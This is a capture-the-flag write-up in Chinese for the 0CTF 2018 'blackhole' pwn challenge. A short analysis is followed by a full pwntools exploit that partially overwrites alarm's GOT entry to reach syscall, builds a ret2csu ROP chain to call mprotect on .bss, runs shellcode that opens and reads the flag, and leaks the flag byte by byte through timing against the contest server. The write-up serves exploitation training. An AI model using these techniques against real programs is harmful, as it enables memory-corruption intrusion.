[0CTF-2018] blackhole

Posted    on 2018, Apr2, Monday 23:16:42
Modified on 2018, Apr2, Monday 23:16:42

分析

日哦,一看这题,64位,只有一个read有溢出,syscall禁用了一堆,只留下 open,read,,mprotect,,exit,拿头做题。(懒得放图了,没啥意思)

难道又要将mprotect的地址解析出来去调用???

等等,这题有libc,为啥有libc呢

开了一晚上的脑洞后,惊讶的发现了一件事情:

alarm

最后1byte为0x80时,指向的是alarm,如果是0x85就是syscall!

只需调用read,覆写alarm的got表的最后1byte为0x85,就可以通过syscall调用mprotect了!

啥,x64不会调用3个参数的函数?init函数的那几个gadget了解一下

就这样很轻易的让bss段变成可执行的了。

可是,这题没有回显,考虑使用基于时间的盲注(滚啊!这是pwn题???)

就这样,没啥了

exp

#!/usr/bin/env python2
# -*- coding: utf-8 -*- #
from pwn import *
import time
import os
from hashlib import sha256

#context.log_level = 'debug'
context.arch = 'amd64'

def start_new_program():
    return process(('./blackhole', ))

def start_new_program():
    program = remote('202.120.7.203', 666)
    #program = process('./pow.py')    
    chal = program.recvuntil('\n')[:-1]
    log.info(chal)
    #sol = p32(0)
    for i in xrange(0x100000000):
        #break
        if sha256(chal + p32(i)).hexdigest().startswith('00000'):
            sol = p32(i)
            break
    log.info(repr(sol))
    program.send(sol)
    return program


def fuckflag():
    # 设置断点
    # 可见字符 32--126
    flag = ''

    for i in range(55, 70):
        log.info('flag=' + flag)
        l = 32
        r = 126
        old = None
        new = None
        while True:
            mid = (l + r) // 2
            program = start_new_program()
            if guess(program, 1, i, mid): # if > mid
                l = mid + 1
            else:
                r = mid
            #program.interactive()
            program.close()
            old = new
            new = mid
            if old == new:
                flag += chr(old)
                break
        if flag[-1] == '}':
            break
    log.info('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')
    log.info('flag=' + flag)

# sha256(chal + sol).hexdigest().startswith('00000')
    # fp = open('out.data', 'wb')
    # fp.write(payload)
    # fp.close()





def guess(program, op, n, ch):
    payload = guess_payload(op, n, ch)
    log.info('len=0x%x' % len(payload))
    payload = payload.ljust(0x8000 - 1, '\x00')
    #payload = ''.ljust(0x8000 - 1, '\x00')
    program.sendline(payload)
    sleep(0.5)
    opc1 = ['=', '>', '<']
    opc2 = ['!=', '<=', '>=']
    try:
        program.sendline('fuck!')
    except:
        log.info('flag[%d]%s%c' % (n, opc1[op], ch))
        return True
    log.info('flag[%d]%s%c' % (n, opc2[op], ch))
    return False    

def guess_payload(op, n, ch):
    # 0 相等
    # 1 大于
    # 2 小于
    shellcode1 = asm(shellcraft.amd64.linux.open('flag'))
    shellcode1 += asm('''mov rbx, rax''')
    shellcode1 +=asm(shellcraft.amd64.linux.read('rbx', 0x601500, 70))
    shellcode2 = asm('''
    mov rax, 0x%x
    xor rbx, rbx
    mov bl, byte ptr [rax]
    ''' % (0x601500 + n, ))
    if op == 0:
        shellcode2 += asm('''
        fuck:
        cmp bl, 0x%x
        jnz fuck
        ''' % ch)
    elif op == 1:
        shellcode2 += asm('''
        fuck:
        cmp bl, 0x%x
        jng fuck
        ''' % ch)
    elif op == 2:
        shellcode2 += asm('''
        fuck:
        cmp bl, 0x%x
        jnl fuck
        ''' % ch)
    shellcode3 = asm(shellcraft.amd64.linux.exit(0))
    payload = make_shellcode(shellcode1 + shellcode2 + shellcode3)
    return payload


def make_shellcode(shellcode):
    '''
    remote libc
    read
    .text:00000000000DB6D0                 cmp     rax, 0FFFFFFFFFFFFF001h

    mprotect 0xE44D0
    '''
    # 0x00601040 alarm got
    # 0x0601048  read  got
    # read(0, 0x00601040, 1)  rdi, rsi, rdx
    # 
    #0x0000000000400a53 : pop rdi ; ret 

    # 初始时rdi=0 rbx=0
    payload1 = 'a'*0x20 + p64(1) #rbp=1
    # 0x400A4E pop r12; pop r13; pop r14; pop r15 ret;
    payload1 += p64(0x400A4c) # 
    payload1 += p64(0x0601048) # r12
    payload1 += p64(1) # r13
    payload1 += p64(0x00601040) # r14 alarm got
    payload1 += p64(0) # r15
    payload1 += p64(0x00400A30) # mov rdx, r13; mov rsi, r14; mov rdx r15; call [r12 + rbx*8]
    payload1 += 'a'*8    # padding
    payload1 += p64(0) # rbx
    payload1 += p64(1) # rbp
    payload1 += p64(0x0601048) # r12
    payload1 += p64(0xa) # r13
    payload1 += p64(0x0601068) # r14 bss
    payload1 += p64(0) # r15
    payload1 += p64(0x04009A7) # overflow again
    payload1 = payload1.ljust(0x100, '\x00')    


    payload2 = '\x85' # 覆盖alarm got最后为0x80 则指向 syscall


    payload3 = 'a'*0x20 + p64(1) #rbp=1
    payload3 += p64(0x00400A30) # mov rdx, r13; mov rsi, r14; mov rdx r15; call [r12 + rbx*8]
    payload3 += 'a'*8    # padding
    payload3 += p64(0) # rbx
    payload3 += p64(1) # rbp
    payload3 += p64(0x00601040) # r12 syscall
    payload3 += p64(0x7) # r13 0x1+0x2+0x4 rwx
    payload3 += p64(0x1000) # r14 size
    payload3 += p64(0x601000) # r15 addr
    payload3 += p64(0x00400A30) # mov rdx, r13; mov rsi, r14; mov rdx r15; call [r12 + rbx*8]
    payload3 += 'a'*8    # padding
    payload3 += p64(0) # rbx
    payload3 += p64(1) # rbp
    payload3 += p64(0x0601048) # r12
    payload3 += p64(0x200) # r13
    payload3 += p64(0x601100) # r14 bss
    payload3 += p64(0) # r15
    payload3 += p64(0x04009A7) # overflow again
    payload3 = payload3.ljust(0x100, '\x00')



    payload4 = 'a'*0xa # 修改rax


    payload5 = 'a'*0x20 + p64(1) #rbp=1
    payload5 += p64(0x00400A30)  # mov rdx, r13; mov rsi, r14; mov rdx r15; call [r12 + rbx*8]
    payload5 += 'a'*8*7    # padding
    payload5 += p64(0x601100) # ret to bss
    payload5 = payload5.ljust(0x100, '\x00')


    payload6 = shellcode
    payload6 = payload6.ljust(0x200, '\x00')


    payload = payload1 + payload2 + payload3 + payload4 + payload5 + payload6

    return payload


def main():
    #payload = guess_payload(0, 0, ord('f'))
    #log.info(repr(payload))
    #fp = open('out.data', 'wb')
    #fp.write(payload)
    #fp.close()
    fuckflag()



if __name__ == '__main__':
    main()

附录

附件: blackhole.zip